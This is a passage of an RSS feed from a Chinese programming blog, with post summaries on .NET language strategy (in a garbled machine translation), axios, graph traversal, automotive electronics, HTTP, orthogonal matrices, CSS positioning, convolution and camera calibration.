      <description>看了一下F#代码几乎和VB差不多，重复造轮子微软却玩的很开心。&#xA;可是真正的VB6,vb.net却抛弃了&#xA;.网络管理语言策略。NET微软学习&#xA;https://learn.microsoft.com/en-us/dotnet/fundamentals/languages&#xA;微软提供三种语言。网络平台-C#,F#和视觉基础.在本文中,您将了解我们对每种语言的策略。寻找其他文章的链接,这些文章介绍了这些策略如何引导我们,以及如何更多地了解每种语言。&#xA;C# C#是一种跨平台通用语言,它使开发人员在编写高性能代码的同时能够进行生产。数以百万计的开发人员,C#是最受欢迎的。网络语言。C#在生态系统中得到广泛的支持.网 工作负荷 .基于面向对象的原则,它包含了来自其他范例的许多特性,尤其是功能性编程。低级别的特性支持高效率的场景,而不编写不安全的代码。其中大部分。网络运行时和库是用C#编写的,而C#的进展通常对所有人都有利.网络开发商。&#xA;我们的C#策略 我们将继续发展C#,以满足开发人员不断变化的需求,并保持最先进的编程语言。我们将积极创新,广泛地与负责创新的团队合作.网络库、开发工具和工作负载支持,同时注意保持语言的精神。认识到正在使用C#的领域的多样性,我们将倾向于语言和性能的改进,使所有或大多数开发人员受益,并对向后兼容性保持高度的承诺。我们将继续增强更广泛的力量。网络生态系统并在C#的未来中发挥作用,同时保持对设计决策的管理。&#xA;你可以阅读更多关于这个策略如何引导我们 C#指南 .&#xA;F# F#是一种简洁、健壮和表现性的语言,它以表达为基础,默认不变。它侧重于表现力、简单和优雅,被成千上万的开发人员使用,他们欣赏它的实用功能第一的方法。网。F#提供全功率的。在混合语言解决方案中使用C#并与之合作良好.社区对编译器和运行时,以及F#工具和框架的广泛数组做出了重大贡献。&#xA;我们的F#策略 我们将推动F#进化,支持F#生态系统的语言领导和治理.我们将鼓励社区为改进F#语言和开发人员的体验做出贡献.我们将继续依靠社区提供重要的图书馆、开发工具和 工作量 支持。随着语言的发展,F#将支持。网络平台改进和保持与新的C#功能的互操作性.我们将跨语言、工具和文档工作,以降低新开发人员和组织进入F#的障碍,并将其扩展到新领域。&#xA;你可以阅读更多关于这个策略如何引导我们 F# guide .&#xA;视觉基础 视觉基础(vb)作为一种容易接近的语言,有很长的历史,它更倾向于清晰而不是简洁。它的成千上万的开发人员集中在传统的基于Windows的客户端 工作负荷 在那里,vb长期以来开创了伟大的工具和使用方便。如今的vb开发人员从一种稳定而成熟的面向对象语言中获益,而这种语言也在不断增长。网络生态系统和正在进行的工具改进。一些。网络工作负载在vb中不支持,对于vb开发人员来说,在这些场景中使用C#是很常见的。&#xA;我们的视觉基础策略 我们将确保视觉基础仍然是一种简单易懂的语言,具有稳定的设计。核心图书馆。网络(如BCL)将支持vb和许多改进.网络运行时和库将自动受益于vb.当C#或。网络运行时引入需要语言支持的新功能,vb通常采用只使用的方法,避免使用新语法。我们不打算将视觉基础扩展到新的工作负载。我们将继续投资于视觉工作室和C#互操作的经验,特别是在核心的vb场景,如Windows表单和库。&#xA;你可以阅读更多关于这个策略如何引导我们 视觉基础指南 .</description>
    </item>
    <item>
      <title>axios的使用及说明</title>
      <link>https://bchobby.github.io/posts/64ca839989962012005a947e17aa3c21/</link>
      <pubDate>Mon, 01 Jan 2024 12:51:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64ca839989962012005a947e17aa3c21/</guid>
      <description>目录&#xA;1.说明&#xA;2.直接使用&#xA;3.封装使用&#xA;4.注意&#xA;1.说明 官网：Axios 实例 | Axios中文文档 | Axios中文网&#xA;Axios 是一个基于 promise 网络请求库，作用于node.js 和浏览器中。 它是 isomorphic 的(即同一套代码可以运行在浏览器和node.js中)。在服务端它使用原生 node.js http 模块, 而在客户端 (浏览端) 则使用 XMLHttpRequests。 在前端项目中通过axios进行发送请求，通过代理后调用后端接口，并接收返回，将返回信息显示在前端画面中。&#xA;axios返回的是一个promise。执行then方法，接收执行成功的结果，显示在画面中。执行catch 方法用于对执行异常进行处理，如弹出提示信息。执行finally方法用于进行清理工作，如关闭画面loading。&#xA;2.直接使用 ①安装&#xA;npm install axios ②配置&#xA;在js或ts文件中创建请求的文件，用于设置请求的共同配置及请求拦截器和响应拦截器。&#xA;(1)导入axios&#xA;import axios from &#34;axios&#34;; (2)设置全局的axios的配置&#xA;通过axios的defaults进行配置。可以设置基础url，这样在api请求中只需要设置相对url；&#xA;可以配置共用的请求头，如token及其他的自定义的请求头。&#xA;也可以为某个请求配置独有的请求头属性。&#xA;//配置请求的基础url axios.defaults.baseURL = &#39;https://api.example.com&#39;; //配置共同的请求头，所有的请求头中都带有X-request axios.defaults.headers.common[&#39;X-request&#39;] = &#39;ajax&#39;; //配置post请求头，只对post请求起作用，在post请求头中设置Content-Type axios.defaults.headers.post[&#39;Content-Type&#39;] = &#39;application/x-www-form-urlencoded&#39;; (3)配置请求拦截器及响应拦截器&#xA;请求拦截器：&#xA;// 添加请求拦截器 axios.interceptors.request.use(function (config) { // 在发送请求之前做些什么 return config; }, function (error) { // 对请求错误做些什么 return Promise.</description>
    </item>
    <item>
      <title>图的深度优先和广度优先遍历</title>
      <link>https://bchobby.github.io/posts/66df78b8c66df8a0cc7b4decc77064c7/</link>
      <pubDate>Mon, 01 Jan 2024 12:37:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66df78b8c66df8a0cc7b4decc77064c7/</guid>
      <description>文章目录 图的遍历图的存储结构一个例子python实现 图的遍历 图的遍历指从某一个顶点出发按照一定的线路对其余各个顶点进行访问，通常访问的顺序有深度优先和广度优先两个方向。数据结构中链型结构，如链表，顺序表等，还有树形结构，如二叉树等都属于图的一种退化，链形结构通常是顺序遍历直接使用for循环即可，树形结构的访问相对比较复杂，对于二叉树有先序遍历，中序遍历等，而其中的层次遍历就是广度优先遍历，与广泛意义的图不一样的是，树的遍历往往从根节点开始，依照数据存储习惯不用孩子父亲表示法则很难往回访问，所以一般不能从任意节点开始遍历，而图则可以从任意起点开始！&#xA;图的存储结构 不同于链表和树，图的存储通常使用一个正方形的矩阵或者一个list容器。方形矩阵很好解释，矩阵坐标为(i,j)的元素就可以表示从第i个顶点到第j个顶点的权重，这样的表示方法同时也方便统计顶点的出度和入度，而用链表来存储的方式就是通常所说的邻接链表法，一个链表用于存放各个顶点然后链表的每个节点作为头可以横向链接当前节点往外出的节点。&#xA;一个例子 上述例子来自王道书，是一个无向图。尝试从节点1开始分别使用深度优先遍历和广度优先遍历来访问各个节点。深度优先遍历就是所谓的“一条路走到黑”，从1开始往5的方向走很快就见底，这样便完成了一次深度优先遍历，检查各个节点是否都被访问过，显然2、6等节点均未被访问，则需要接着从1的另一个方向开始第二次深度优先遍历，顺序为2-6-3-4-8-7或者2-6-7-3-4-8等等，遍历的结果并不唯一，这取决于用户输入节点的顺序。&#xA;广度优先遍历则类似二叉树的层序遍历，从节点1开始，则检查1的出口临近所有节点，2和5，然后检查2和5的临近节点6…，每次都需要把当前节点所有的出临近节点优先访问，则顺序可为1-5-2-6-3-7-4-8，顺序也不唯一。&#xA;python实现 import numpy as np from collections import deque class G: # mt=1,邻接矩阵,mt=0,邻接表 def __init__(self, graph, info, mt=1): self.graph = graph self.info = info self.mt = mt def visit(elem): print(elem) def get_next_vertx(graph, j): if graph.mt == 1: for i in enumerate(graph.graph[j]): if i[1]: yield i[0] else: continue elif graph.mt == 0: for i in graph.graph[j]: yield i def dfs(graph, index, flag=1): global visited if flag: flag = 0 visited = [0] * len(graph.</description>
    </item>
    <item>
      <title>车载电子电器架构 —— 电子电气系统功能开发</title>
      <link>https://bchobby.github.io/posts/0143d49938ac9b7e1312e1515c608d3a/</link>
      <pubDate>Mon, 01 Jan 2024 12:16:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0143d49938ac9b7e1312e1515c608d3a/</guid>
      <description>车载电子电器架构 —— 电子电气系统功能开发 我是穿拖鞋的汉子，魔都中坚持长期主义的汽车电子工程师。 老规矩，分享一段喜欢的文字，避免自己成为高知识低文化的工程师： 屏蔽力是信息过载时代一个人的特殊竞争力，任何消耗你的人和事，多看一眼都是你的不对。非必要不费力证明自己，无利益不试图说服别人，是精神上的节能减排。&#xA;无人问津也好,技不如人也罢,你都要试着安静下来,去做自己该做的事.而不是让内心的烦躁、焦虑、毁掉你本就不多的热情和定力。&#xA;文章大体有如下内容： 1、车载功能开发概述 2、车载电子电气功能开发流程 正文如下： 一、车载功能开发概述 功能开发主要是围绕用户驾车体验，将整车功能分为动力驱动、操控、安全和智能等模块。 1、新能源 -&amp;gt; 新能源相关功能、中高压管理、电动后驱、无线充电； 车载新能源相关功能、中高压管理、电动后驱和无线充电是新能源汽车领域的核心技术和功能，它们共同构成了新能源汽车的先进性和优势。 车载新能源相关功能中最突出的是“对外放电”功能。通过原车的取电板，将取电枪连接充电口就能给插板通电，个人使用的车子能以最高3.3千瓦的标准对外放电，而现在最高的标准能达到6.0千瓦以上。一般的电动工具功率都不到三千瓦，工作灯的功率只是几百瓦而已，就算给一些设备同时供电也能坚持很长时间。这是燃油车做不到的，燃油车虽然能通过逆变器转为220V对外放电，但需要车辆怠速运行并且无法支持大功率设备，所以新能源汽车不仅是代步车，同时还是一台优秀的“工作车”。 中高压管理是新能源汽车的一个重要组成部分，它负责控制和管理车辆的高压电路系统。由于新能源汽车的电池组等关键部件需要高压才能工作，因此中高压管理系统的性能直接影响到车辆的安全性和可靠性。 电动后驱是新能源汽车的一种驱动方式，它通过电动机来驱动车辆的后轮。这种方式可以提供更好的动力性能和操控性能，同时也能提高车辆的能效和减少对环境的污染。 无线充电是一种新兴的充电技术，它通过无线方式为电子设备提供电能。这种技术可以大大简化充电过程，提高充电的便利性和安全性，尤其适用于电动汽车等大型设备的充电。 车载新能源相关功能、中高压管理、电动后驱和无线充电等技术是新能源汽车领域的重要发展方向，它们将有助于推动新能源汽车的普及和发展。 2、车载基本功能 -&amp;gt; 电气架构、诊断、软硬件平台、电源管理、数据采集、OTA、售后等车辆基本功能； -&amp;gt;电器架构 车载电气架构是汽车中电子电气系统的集成和组织方式，它涉及到汽车中各种电器设备和系统的布局、连接和管理工作。车载电气架构是汽车电气系统的重要组成部分，它的设计直接影响到汽车的性能、安全和可靠性。 车载电气架构的主要功能是将汽车中的各种电器设备和系统进行集成和整合，形成一个完整的电气系统。它负责电力的分配、控制和监控，以及信号的传输和处理，确保各个电器设备能够正常运行，同时避免不同设备之间的干扰和冲突。车载电气架构还负责管理和控制车辆的电子控制系统，包括发动机控制系统、底盘控制系统、安全控制系统等。 车载电气架构的设计和优化是汽车研发的重要环节。通过合理的设计和优化，可以降低汽车的成本、提高汽车的可靠性、提升汽车的智能化水平。车载电气架构的发展趋势是智能化、模块化和集成化，未来将会有更多的智能化传感器、执行器和控制器应用到汽车中，实现更加智能化的管理和控制。 -&amp;gt; 车载诊断 车载诊断是指通过车辆内部的传感器和通讯设备，对车辆的状态和故障进行实时监测和诊断。车载诊断系统可以通过读取车辆的故障码和数据流，确定故障部位及原因，从而帮助维修人员快速准确地修复车辆故障。 车载诊断系统的核心组件是车载诊断模块，它负责监测和诊断车辆的各个系统和部件，并将故障码和相关数据存储在内部存储器中。通过专用的诊断设备或诊断软件，维修人员可以连接到诊断模块，读取故障码和数据流，以便进行进一步的故障排除和修复工作。 车载诊断系统的应用可以大大提高车辆的可靠性和安全性，同时也可以降低维修成本和时间。通过实时监测和诊断车辆的状态，可以及时发现潜在的故障和问题，避免小问题变成大故障。同时，车载诊断系统也可以帮助维修人员快速定位和解决故障，提高维修效率和质量。 车载诊断系统的发展趋势是智能化和网络化。未来，车载诊断系统将能够更加全面地监测车辆的状态和故障，同时也可以通过无线网络与其他设备进行通讯，实现远程诊断和维护。这将进一步推动车载诊断技术的发展和应用。 -&amp;gt; 软硬件平台 车载软硬件平台是车载计算平台的核心构成，主要包括硬件平台、系统软件和功能软件三个部分。 硬件平台是车载计算平台的物理基础，主要由异构硬件组成，包括CPU计算单元、AI单元（GPU、ASIC、FPGA）、MCU控制单元、存储、ISP等其他硬件。这些硬件共同协作，负责车辆的各种控制和监测任务。 系统软件是连接硬件和功能软件的桥梁，主要包括硬件抽象层（如Hypervisor、BSP）、操作系统内核（如QNX/Linux/Andriod/Vxworks）、中间件组件等。系统软件负责管理和调度硬件资源，为功能软件提供稳定可靠的运行环境。 功能软件是实现车辆控制和监测功能的核心，主要包括自动驾驶通用框架（如感知、决策、执行）、功能软件通用框架（如数据抽象/数据流框架/基础服务）等。功能软件通过接收和解析各种传感器信号，实现对车辆的精确控制和实时监测。 此外，车载软硬件平台还包括其他组件，如工具链（开发、仿真、调试、测试等）和安全体系（功能安全、信息安全等）。这些组件为车载软硬件平台的开发、部署和维护提供了全面支持。 车载软硬件平台的发展趋势是高度集成化和模块化。未来，随着车载计算能力的不断提升，车载软硬件平台将能够支持更加复杂和智能的车辆控制和监测功能。同时，随着智能网联技术的不断发展，车载软硬件平台将与车联网技术深度融合，实现更加智能的车辆管理和服务。 -&amp;gt; 车载电源管理 车载电源管理是汽车电子电气系统中的重要组成部分，主要负责管理车载电源的分配、控制和监控，以确保汽车中各个电器设备和系统能够正常运行。 车载电源管理的主要功能包括： 电源分配：根据各个电器设备和系统的需求，将电源合理地分配给各个用电设备，以保证设备的正常运行。 电源控制：通过控制电源的通断和电压调节等方式，实现对车载用电设备的控制和管理。 电源监控：对车载电源的电压、电流、温度等参数进行实时监测，及时发现异常情况并进行处理，保证电源系统的安全和可靠性。 能量回收：在汽车制动或滑行时，通过能量回收技术将车辆的动能转化为电能储存起来，提高能源的利用效率。 故障诊断：对车载电源系统和用电设备进行故障诊断和检测，及时发现和排除故障，保证车辆的正常运行。 车载电源管理技术的发展趋势是智能化和集成化。未来，随着汽车电子电气系统的不断复杂化和智能化，车载电源管理技术将越来越重要。智能化电源管理系统能够根据用电设备和系统的实时需求进行智能调节和控制，提高能源的利用效率；集成化电源管理系统能够将汽车中的各种电器设备和系统进行集成和整合，形成统一的电气系统，方便管理和维护。 -&amp;gt; 车载数据采集 车载数据采集是利用传感器、通讯设备和其他技术手段，在车辆运行过程中获取车辆状态、驾驶员行为、环境感知等信息的过程。这些信息可以用于车辆监测、诊断、控制和优化等方面，对于提高车辆安全性和可靠性、降低能耗和提高运营效率具有重要意义。 车载数据采集的主要方式包括： 车辆总线通过CAN卡和电脑IPEmotion软件通信，数据存储在电脑上。 车辆信号和记录仪通信，数据存储在记录仪中。 IPEmotion软件集成了OBD II协议，连接车辆OBD接口，即可直接读取车辆OBD II相关数据。 车载数据采集的主要应用场景包括： 车辆监测和诊断：通过采集车辆运行状态和故障信息，对车辆进行实时监测和故障诊断，提高车辆的安全性和可靠性。 驾驶员行为分析：通过采集驾驶员操作行为和驾驶习惯等信息，对驾驶员行为进行分析和评估，帮助驾驶员改进驾驶习惯和提高驾驶技能。 智能交通系统：通过车载数据采集，将车辆运行信息和道路状况等数据上传到云端，为智能交通系统的规划和优化提供数据支持。 节能减排：通过采集车辆能耗和排放等信息，对车辆进行优化控制和调度，降低能耗和排放，提高环保性能。 车载数据采集技术的发展趋势是智能化和实时化。未来，随着传感器技术、通讯技术和云计算技术的发展，车载数据采集将更加智能化和实时化，能够更好地满足车辆监测、诊断和控制等方面的需求。同时，随着智能交通和车联网技术的发展，车载数据采集将与其他技术手段进行融合，形成更加全面和高效的数据采集和处理系统。 -&amp;gt; OTA 车载OTA（Over-The-Air）是指通过无线网络对车辆软件进行远程升级的技术。通过OTA升级，车主可以在不前往线下4S店或维修中心的情况下，直接在车内下载和更新车辆软件，从而实现对车辆功能的改进、缺陷修复或性能提升。 OTA技术最早在2000年左右出现在日本，目前广泛应用于智能手机等IT设备。在汽车领域，OTA升级类似于电脑的Windows系统升级或手机的系统升级，每次升级都可以得到改善、修复漏洞或者获得更多的功能、性能提升，也可以理解为是视觉效果的改善。 OTA技术可以通过无线网络下载数据包从而对汽车系统进行升级，实现了远程无线方式对汽车系统进行升级的目标。严格来说，OTA分为两种类型，FOTA和SOTA：FOTA指的是给汽车下载一个完整的固件镜像或者修补现有的固件；SOTA则偏向于应用软件升级，如娱乐系统、导航系统等。 这种技术对于车主来说十分方便，同时减少了车辆维护的成本和时间。而随着车联网技术的不断发展，车载OTA技术也将得到更广泛的应用和推广。 -&amp;gt; 车载售后 车载售后主要是指对汽车售出后所提供的各种服务，包括安装调试、使用指导、维修保养、处理消费者来信等。 车载售后的主要目的是为了确保消费者能够更好地使用和维护自己的车辆，提高车辆的使用寿命和安全性，同时也能提升消费者对汽车品牌的忠诚度和满意度。 车载售后的具体内容包括： 安装调试：为消费者提供专业的安装和调试服务，确保车辆的各项功能能够正常使用。 使用指导：向消费者提供使用方面的指导和培训，使消费者能够更好地了解和使用车辆的各种功能。 维修保养：提供专业的维修和保养服务，包括对车辆进行定期检查、更换零部件等，确保车辆始终保持良好的状态。 处理消费者来信：对消费者的来信进行及时处理，解答消费者关于车辆的疑问和问题，同时收集消费者的反馈和建议，为产品的改进和服务的提升提供参考。 车载售后的服务质量直接影响到消费者的购车体验和对品牌的信任度，因此对于汽车品牌来说，提供优质的车载售后服务是至关重要的。 操控 -&amp;gt;制动、轮胎、悬架，转向四个系统的主要功能。 -&amp;gt; 制动 车载制动是指汽车制动系统，是汽车中用于减速和停车的系统。它通过制动器或制动器与滑行作用的组合，使汽车减速或停车。 车载制动系统通常由制动踏板、制动总泵、制动分泵、刹车片、刹车盘等组成。当驾驶员踩下制动踏板时，踏板力通过制动总泵和制动分泵转换成车轮制动力，使汽车减速或停车。 车载制动系统可以分为行车制动系统、驻车制动系统和紧急制动系统等。行车制动系统是汽车行驶过程中最常用的制动系统，用于控制汽车减速或在最短的距离内停车。驻车制动系统是在车辆停放时使用的制动系统，用于保持车辆稳定，防止车辆自行溜车。紧急制动系统是在紧急情况下使用的制动系统，通过最大程度地发挥制动器的效能，使汽车在最短的距离内停车。 车载制动系统的性能对于汽车的安全性和稳定性至关重要。因此，对于汽车制造商来说，设计和制造出性能优良、可靠性高的车载制动系统是非常重要的。同时，驾驶员也需要注意制动系统的保养和维护，确保其始终保持良好的工作状态。 -&amp;gt; 轮胎 车载轮胎是汽车的重要部件之一，它支撑着汽车的整体重量，与地面接触，传递驱动力和制动力，吸收和缓冲来自路面的冲击，并保证车辆的操控性和行驶稳定性。 车载轮胎通常由胎面、胎侧、胎圈等部分组成。胎面是与地面接触的部分，它由橡胶制成，具有防滑、耐磨和抗磨损等特性。胎侧是轮胎的侧面部分，它具有保护胎面和支撑轮胎的作用。胎圈则是轮胎与轮毂连接的部分，它具有固定轮胎的作用。 车载轮胎的规格和型号各不相同，不同车型需要使用不同规格和型号的轮胎。在选择轮胎时，需要根据车辆的用途、行驶条件和驾驶员的驾驶习惯等因素进行综合考虑。 为了保证车载轮胎的安全性和使用寿命，驾驶员需要注意以下几点： 1、定期检查轮胎的气压和磨损情况，确保轮胎的气压符合标准，磨损情况正常。 2、避免在行驶过程中急加速、急刹车或急转弯等激烈驾驶行为，以免造成轮胎磨损或损坏。 3、定期进行轮胎换位，保证轮胎的磨损均匀。 4、保持轮胎清洁，避免油、酸、碱等腐蚀性物质接触轮胎。 5、及时更换老化或损坏的轮胎，以免发生安全事故。 -&amp;gt; 悬架 车载悬架是汽车底盘的重要组成部分，它连接着车身和车轮，起到传递载荷、缓冲震动、控制车身姿态等作用，对汽车的行驶稳定性和舒适性有着至关重要的影响。 根据控制形式的不同，车载悬架可以分为被动式悬架和主动式悬架。被动式悬架的参数是固定的，无法根据路况实时调整，而主动式悬架则可以通过控制系统的调整来改变参数，以更好地适应路况。 根据汽车导向机构的不同，车载悬架可以分为独立悬架和非独立悬架。非独立悬架的结构特点是两侧车轮由一根整体式车桥相连，而独立悬架则是每一侧的车轮都是单独地通过弹性悬架悬挂在车架或车身下面。独立悬架具有质量轻、减少车身受到的冲击、提高车轮的地面附着力等优点，因此在现代轿车中得到广泛应用。 此外，常见的独立悬架包括横臂式、纵臂式、多连杆式、烛式以及麦弗逊式悬架等。麦弗逊式悬架一般用于轿车的前轮，是当今最为流行的独立悬架之一。双叉臂式悬架是双横臂悬架中的一种，拥有上下两个叉臂，横向力由两个叉臂同时吸收，支柱只承载车身重量。多连杆式悬架则是由连杆、减震器和减震弹簧组成的。 -&amp;gt; 转向 车载转向系统是汽车中用于控制车辆转向的机构。它通过操纵方向盘，经过一套传动机构，使转向轮在路面上偏转一定的角度，以改变汽车的行驶方向。 车载转向系统的作用是根据驾驶员的意愿控制汽车的行驶方向。在行驶过程中，驾驶员通过转动方向盘来操作转向系统，使车辆按照预期的方向行驶。转向系统能够使汽车按照驾驶员的意愿改变行驶方向，也能使驾驶员利用这套机构，在汽车转向轮受到路面干扰作用自动偏转而改变行驶方向时，使转向轮向相反方向偏转，从而使汽车恢复原来的行驶方向。 车载转向系统的性能对于汽车的安全性和稳定性至关重要。一个良好的转向系统应该具备良好的操纵性、合适的转向力和位置感、具有回正功能、适当的路感、工作可靠、节能、低噪声等特点。 随着科技的发展，车载转向系统也在不断进步和改进。例如，一些高端汽车采用了电动助力转向系统，通过电机提供辅助扭矩，帮助驾驶员更轻松地转动方向盘。此外，还有一些研究正在探索自动驾驶技术，通过自动控制系统实现汽车的自主转向，从而提高驾驶的安全性和便利性。 主动安全 -&amp;gt; 避免碰撞、低速泊车、正常驾驶辅助、各种信息的识别提醒等。 避免碰撞、低速泊车、正常驾驶辅助以及各种信息的识别提醒是车载技术的关键组成部分，它们旨在提高驾驶的安全性和便利性。 首先，避免碰撞是车载技术的核心功能之一。通过雷达、激光雷达、摄像头等传感器以及先进的算法，车载系统可以实时监测周围的交通环境，预测潜在的碰撞风险，并采取相应的措施以避免碰撞。例如，自动紧急制动系统可以在检测到潜在的碰撞时自动刹车，以降低或避免碰撞的风险。 其次，低速泊车辅助也是车载技术的重要应用之一。通过超声波传感器或摄像头等传感器以及自动泊车系统，驾驶员可以在低速时将车辆停放在指定的停车位中。这种技术可以大大简化停车过程，提高停车的安全性和便利性。 此外，正常驾驶辅助也是车载技术的重要组成部分。这些辅助系统可以帮助驾驶员更好地掌控车辆，提高驾驶的舒适性和安全性。例如，自适应巡航控制系统可以根据道路状况和交通状况自动调整车辆的速度，以保持与前车的安全距离；车道偏离预警系统可以在车辆偏离车道时提醒周边行人或车辆保障安全。 最后，各种信息的识别和提醒也是车载技术的重要功能之一。通过语音识别、自然语言处理等技术，车载系统可以识别驾驶员的指令并给出相应的回应。例如，语音助手可以帮助驾驶员设置导航、播放音乐等；智能后视镜可以通过摄像头实时显示车辆后方的景象，方便驾驶员观察路况。 被动安全 -&amp;gt; 碰撞后对车内的保护，如安全气囊、主动头枕等，以及对车外行人的保护.</description>
    </item>
    <item>
      <title>http基本格式</title>
      <link>https://bchobby.github.io/posts/a729e7f163519b974a9ef471a39e2d9a/</link>
      <pubDate>Mon, 01 Jan 2024 11:58:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a729e7f163519b974a9ef471a39e2d9a/</guid>
      <description>在计网主要详细介绍了网络的底层,这里主要讲网络的应用层&#xA;http/https http 简介 作用 : HTTP(Hypertext Transfer Protocol)是一种用于传输超文本（Hypertext）数据的协议，通常用于在Web浏览器和Web服务器之间传递信息。&#xA;特点 : 不加密传输数据,基于C/S模型&#xA;使用端口 : 80&#xA;分为请求和响应两个方面&#xA;请求格式 请求行 get 获取资源 post 创建资源,如登陆账号密码后,服务器返回token,以后每次按token登陆 put 更改资源 DELETE 删除资源 请求路径 URL、协议版本... 请求头 Content-Type ：请求体的格式 Content-Length ：请求的总大小 User-Agent ：使用的是什么客户端 Authorization ：认证信息(例如登录产生的 token ) 请求体(载荷) 一对子节,由Content-Type指明类型,如JSON 的 Content-Type 是application/json 响应格式 状态码 200 正常 302 304 重定向,寻找已缓存的资源 403 Forbidden 404 Not Found 客户端错误 503 500 服务器问题&#x9;响应头 跟请求头类似 响应体 响应得到的不同数据 URL 格式 scheme://host:port/resource_path?param1=val1&amp;amp;param2=val2#id&#xA;scheme ：协议，例如 http和https host ：主机名，例如 www.</description>
    </item>
    <item>
      <title>线性代数_正交矩阵</title>
      <link>https://bchobby.github.io/posts/707a355b35e0db1c5afda78e5b87b3e0/</link>
      <pubDate>Mon, 01 Jan 2024 11:41:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/707a355b35e0db1c5afda78e5b87b3e0/</guid>
      <description>正交矩阵是线性代数中一种非常重要的矩阵类型，它在数学理论和实际应用中都有着广泛的用途。正交矩阵的定义如下：&#xA;设 \( A \) 是一个 \( n \times n \) 的方阵，如果满足 \( A^T A = AA^T = I_n \)，其中 \( A^T \) 是矩阵 \( A \) 的转置，\( I_n \) 是 \( n \) 阶的单位矩阵，那么矩阵 \( A \) 称为正交矩阵。&#xA;正交矩阵具有以下几个重要的性质：&#xA;1. **单位向量**：正交矩阵的每一行（或每一列）都是单位向量。&#xA;2. **相互正交**：正交矩阵的任意两个不同的行（或列）向量都是正交的，即它们的点积为零。&#xA;3. **行列式**：正交矩阵的行列式 \( \det(A) \) 只能是 \( \pm 1 \)。当 \( \det(A) = 1 \) 时，矩阵 \( A \) 被称为特殊正交矩阵；当 \( \det(A) = -1 \) 时，矩阵 \( A \) 被称为瑕旋转矩阵。</description>
    </item>
    <item>
      <title>CSS-3</title>
      <link>https://bchobby.github.io/posts/d654ca3d0b36d4af88646a4ea3d55de8/</link>
      <pubDate>Mon, 01 Jan 2024 11:33:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d654ca3d0b36d4af88646a4ea3d55de8/</guid>
      <description>定位 作用：灵活的改变盒子在网页中位置&#xA;相对定位 div { position: relative; top: 200px; left: 200px; } 特点： 1. 改变位置的参照物是&#34;自己原来的位置&#34; 2. 不脱标（不脱离标准），占据原来的位置 3. 标签显示模式的特点不会改变 绝对定位 div { position: absolute; bottom: 0; right: 0; } 使用场景： 子级绝对定位，父级相对定位（子绝父相） 特点： 1. 脱标（脱离标准），不会占据原来的位置 2. 参照物：先找最近的已经定位的祖先元素，如果所有祖先元素都没有定位，参照浏览器可视区改位置 3. 显示模式特点改变：宽高生效（具备了行内块的特点） 固定定位 div { position: fixed; top: 0; right: 0; } 使用场景： 元素的位置在网页滚动时不会改变 特点： 1. 脱标（脱离标准），不会占据原来的位置 2. 参照物：浏览器窗口 3. 显示模式特点：具备行内块特点 定位居中 方式一： img { position: absolute; left: 50%; top: 50%; margin-left: -213px; margin-top: -241px; } 方式二： img { position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); } 子级的水平、垂直两个方向都偏移父级的50% 然后，子级向左、向上移动自身尺寸的一半（有两种实现方式） 方式一：使用 margin，手动计算 margin-top: -100px; margin-left: -100px; 方式二：（自动计算，推荐使用） transform: translate(-50%, -50%); 堆叠层级 &amp;lt;style&amp;gt; div { position: absolute; width: 200px; height: 200px; } .</description>
    </item>
    <item>
      <title>深度学习｜10.5 卷积步长 10.6 三维卷积</title>
      <link>https://bchobby.github.io/posts/4d4c1c8ee1fbca5166ba4648168a6585/</link>
      <pubDate>Mon, 01 Jan 2024 10:26:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d4c1c8ee1fbca5166ba4648168a6585/</guid>
      <description>文章目录 10.5 卷积步长10. 6 三维卷积![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/b5bfa24f57964b0f81f9602f5780c278.png) 10.5 卷积步长 卷积步长是指每计算一次卷积，卷积移动的距离。&#xA;设步长为k，原矩阵规模为nxn，核矩阵规模为fxf，则k+k+k+k+…+k+f&amp;lt;n,新生成的矩阵规模为 ⌊ n − f k ⌋ + 1 \lfloor \frac{n-f}{k} \rfloor+1 ⌊kn−f​⌋+1,如果考虑到填充的情况，原式将进一步修正为 ⌊ n − f + 2 p k ⌋ + 1 \lfloor \frac{n-f+2p}{k} \rfloor+1 ⌊kn−f+2p​⌋+1,&#xA;10. 6 三维卷积 可以采用多个过滤器，并将它们的对应的计算结果放到一块，从而从二维空间整合到三维空间。</description>
    </item>
    <item>
      <title>单目相机标定理论及张正友标定法总结</title>
      <link>https://bchobby.github.io/posts/e9538fe91fcfeb95f4d9ed58b219f844/</link>
      <pubDate>Mon, 01 Jan 2024 10:19:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9538fe91fcfeb95f4d9ed58b219f844/</guid>
      <description>我们的真实世界是三维的，拍摄的图片是二维的，相机起到的就是映射的过程，可以把相机看成一个广义的函数，输入的三位场景，输出是二维的图片（灰度图），一般情况下我们看到的是彩色图，彩色图是RGB三通道，每个通道可以认为是一张灰度图，也就是三维场景经过广义的函数（相机）得到照片，函数（映射关系）是不可逆的，也就是说我们无法从二维照片恢复出三维世界，相机是物理模型很难用数学模型完全量化，所以我们就需要一个简化的数学模型来代表复杂的三维到二维的成像过程。&#xA;文章目录 一、相机标定1、相机的数学意义2、相机标定的意义 二、小孔成像1、小孔成像原理 一、相机标定 1、相机的数学意义 真实世界是三维的，拍摄的图片是二维的相机(看成一个广义函数 )：输入三维场景，输出是二维的图片（灰度图）彩色围是RGB三通道，每个通道可以认为是一张灰度图函数（ 映射关系）是不可逆的，也就是无法从二维照片恢复出三维世界 2、相机标定的意义 相机标定 : 使用带有pattern的标定板来求解相机参数的过程用一个简化的数学模型来代表复杂的三维到二维的成像过程相机参数包括:相机内参( 焦距 ），外参( 旋转矩阵 )，镜头畸变参数用途 : 畸变校正，双目视觉，结构光，三维重建，SLAM等等&#xA;二、小孔成像 1、小孔成像原理 简单没有镇头&#xA;有一个小的光圈&#xA;真实世界的3D物体，发出光线通过光圈相机的另一侧，像平面位置，得到一个倒立的实像</description>
    </item>
    <item>
      <title>【GoLang】Go语言几种标准库介绍(三)</title>
      <link>https://bchobby.github.io/posts/ba3906a71bf1bc00701f4edc5c6b77d0/</link>
      <pubDate>Mon, 01 Jan 2024 10:09:54 +0800</pubDate>
